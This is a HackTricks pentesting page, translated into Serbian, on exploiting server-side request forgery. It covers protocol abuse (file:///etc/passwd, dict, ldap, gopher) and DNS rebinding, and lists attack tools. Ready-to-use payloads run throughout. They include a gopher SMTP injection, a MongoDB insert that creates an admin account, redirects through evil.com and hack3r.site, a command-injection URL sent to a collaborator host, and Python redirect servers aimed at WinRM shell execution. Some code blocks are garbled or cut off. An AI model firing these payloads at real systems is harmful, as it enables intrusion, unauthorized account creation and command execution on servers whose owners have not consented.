hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

22 KiB

SSRF (Server Side Request Forgery)


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Ranjivost Server-side Request Forgery (SSRF) se javlja kada napadač manipuliše server-side aplikacijom da izvrši HTTP zahteve ka domenu po izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima usmerenim od strane napadača.

Snimanje SSRF-a

Prva stvar koju treba da uradite je da snimite SSRF interakciju koju generišete. Za snimanje HTTP ili DNS interakcije možete koristiti alate kao što su:

Bypass belihlistanih domena

Obično ćete primetiti da SSRF radi samo na određenim belihlistanim domenima ili URL-ovima. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te belihliste:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass putem otvorenog preusmeravanja

Ako je server pravilno zaštićen, možete zaobići sve restrikcije eksploatišući Otvoreno preusmeravanje unutar web stranice. Pošto će web stranica dozvoliti SSRF ka istom domenu i verovatno će pratiti preusmeravanja, možete eksploatisati Otvoreno preusmeravanje da naterate server da pristupi internim resursima.
Pročitajte više ovde: https://portswigger.net/web-security/ssrf

Protokoli

  • file://
  • URL šema file:// se referiše, direktno usmeravajući ka /etc/passwd: file:///etc/passwd
  • dict://
  • DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja potencijalno može biti zloupotrebljena da se poveže sa DICT serverom koristeći od strane napadača pružene akreditive: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identifikovan kao protokol za siguran prenos fajlova preko sigurne ljuske, pružen je primer koji pokazuje kako bi PHP skripta mogla biti iskorišćena da se poveže sa zlonamernim SFTP serverom: url=sftp://generic.com:11111/
  • TFTP://
  • Trivialni protokol prenosa fajlova, koji radi preko UDP-a, pomenut je sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. Zahtev TFTP je poslat 'generic.com' na port '12346' za fajl 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacionim servisima direktorijuma preko IP mreža. Interakcija sa LDAP serverom na localhostu: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisan je metod za eksploataciju SSRF ranjivosti za interakciju sa SMTP servisima na localhostu, uključujući korake za otkrivanje internih imena domena i dalje istraživačke akcije na osnovu tih informacija.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - Bypassovanje WAF-a
  • Ako se SSRF izvršava pomoću curl, curl ima funkciju nazvanu URL globbing koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom writeup možete pronaći primer za path traversal putem file protokola:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Razmatra se mogućnost Gopher protokola da specificira IP adresu, port i bajtove za komunikaciju sa serverom, zajedno sa alatima poput Gopherus-a i remote-method-guesser-a za kreiranje payload-a. Ilustruju se dva različita načina korišćenja:

Gopher://

Korišćenjem ovog protokola možete specificirati IP adresu, port i bajtove koje želite da server pošalje. Zatim, u osnovi možete iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali prvo morate znati kako da komunicirate sa servisom).
Na sreću, možete koristiti Gopherus za kreiranje payload-a za različite servise. Dodatno, remote-method-guesser može se koristiti za kreiranje gopher payload-a za Java RMI servise.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Povratno povezivanje na 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Napravite korisnika sa korisničkim imenom=admin sa lozinkom=admin123 i dozvolom=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF putem Referrer zaglavlja i ostalih

Softver za analitiku na serverima često beleži Referrer zaglavlje kako bi pratili dolazne linkove, praksu koja nenamerno izlaže aplikacije ranjivostima na Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer zaglavlju kako bi analizirao sadržaj referentnog sajta. Da bi otkrili ove ranjivosti, preporučuje se korišćenje Burp Suite dodatka "Collaborator Everywhere", iskorišćavajući način na koji alati za analitiku obrađuju Referer zaglavlje kako bi identifikovali potencijalne površine napada SSRF.

SSRF putem SNI podataka iz sertifikata

Pogrešna konfiguracija koja omogućava povezivanje sa bilo kojim backend-om kroz jednostavno podešavanje ilustrovana je primerom Nginx konfiguracije:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) direktno se koristi kao adresa backend-a. Ova postavka izlaže ranjivost na Server-Side Request Forgery (SSRF), koja može biti iskorišćena jednostavnim navođenjem željene IP adrese ili domenskog imena u polju SNI. Primer iskorišćavanja za prisiljavanje veze sa proizvoljnim backend-om, poput internal.host.com, korišćenjem openssl komande data je ispod:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget slanje datoteke

SSRF sa Command Injection

Moglo bi biti vredno pokušati sa payload-om kao što je: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderovanje PDF-ova

Ako veb stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete ubaciti neki JS koji će biti izvršen od strane samog kreatora PDF-a (servera) dok kreira PDF i moći ćete zloupotrebiti SSRF. Pronađite više informacija ovde.

Od SSRF do DoS

Kreirajte nekoliko sesija i pokušajte da preuzmete teške datoteke iskorišćavajući SSRF iz sesija.

SSRF PHP Funkcije

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Preusmeravanje na Gopher

Za neke eksploatacije možda će vam biti potrebno poslati preusmeravajući odgovor (potencijalno koristeći drugi protokol poput gopher-a). Ovde imate različite Python kodove za odgovor sa preusmeravanjem:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```plaintext
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

DNS Preusmeravanje CORS/SOP zaobilaženje

Ako imate problema sa ekstrakcijom sadržaja sa lokalne IP adrese zbog CORS/SOP, DNS preusmeravanje može se koristiti za zaobilaženje te ograničenosti:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Automatizovano DNS preusmeravanje

Singularity of Origin je alat za izvođenje napada DNS preusmeravanjem. Uključuje neophodne komponente za ponovno usmeravanje IP adrese DNS imena servera napadača na IP adresu ciljnog računara i za slanje napadačkih payloada za iskorišćavanje ranjivog softvera na ciljnom računaru.

Pogledajte takođe javno pokrenuti server na http://rebind.it/singularity.html

DNS Preusmeravanje + TLS ID sesije/Tiket sesije

Potrebno:

  • SSRF
  • Odlazne TLS sesije
  • Stvari na lokalnim portovima

Napad:

  1. Zatražite od korisnika/bota da pristupi domenu kojom upravlja napadač
  2. TTL DNS-a je 0 sekundi (tako da će žrtva uskoro ponovo proveriti IP domene)
  3. Stvara se TLS veza između žrtve i domene napadača. Napadač ubacuje payload unutar ID sesije ili Tiket sesije.
  4. Domen će pokrenuti beskonačnu petlju preusmeravanja na sebe. Cilj je da natera korisnika/bota da pristupi domenu dok ponovo ne izvrši DNS zahtev za domen.
  5. U DNS zahtevu sada se daje privatna IP adresa (npr. 127.0.0.1)
  6. Korisnik/bot će pokušati ponovo uspostaviti TLS vezu i kako bi to učinio, poslaće ID sesije/Tiket ID (gde je sadržan payload napadača). Čestitamo, uspeli ste da naterate korisnika/bota da napadne samog sebe.

Napomena da tokom ovog napada, ako želite da napadnete localhost:11211 (memcache), morate naterati žrtvu da uspostavi početnu vezu sa www.napadac.com:11211 (port mora uvek biti isti).
Za izvođenje ovog napada možete koristiti alat: https://github.com/jmdx/TLS-poison/
Za više informacija pogledajte predavanje gde je ovaj napad objašnjen: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Slepa SSRF

Razlika između slepe SSRF i one koja nije slepa je u tome što u slepoj ne možete videti odgovor na SSRF zahtev. Zato je teže iskoristiti jer ćete moći iskoristiti samo dobro poznate ranjivosti.

Vremenski zasnovana SSRF

Proverom vremena odgovora sa servera može biti moguće saznati da li resurs postoji ili ne (možda je potrebno više vremena za pristupanje postojećem resursu nego pristupanje onom koji ne postoji)

Iskorišćavanje Cloud SSRF

Ako pronađete ranjivost SSRF-a na mašini koja se izvršava unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju čak i o akreditacijama:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Platforme Ranjive na SSRF

Nekoliko poznatih platformi sadrži ili je sadržalo ranjivosti na SSRF, proverite ih na:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Alati

SSRFMap

Alat za otkrivanje i iskorišćavanje ranjivosti SSRF-a

Gopherus

Ovaj alat generiše Gopher payload-e za:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser je skener ranjivosti Java RMI koji podržava operacije napada za većinu uobičajenih ranjivosti Java RMI. Većina dostupnih operacija podržava opciju --ssrf, za generisanje SSRF payload-a za traženu operaciju. Uz opciju --gopher, spremni za upotrebu gopher payload-i mogu se generisati direktno.

SSRF Proxy

SSRF Proxy je višenitni HTTP proxy server dizajniran za tuneliranje klijentskog HTTP saobraćaja kroz HTTP servere ranjive na Server-Side Request Forgery (SSRF).

Za vežbanje

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}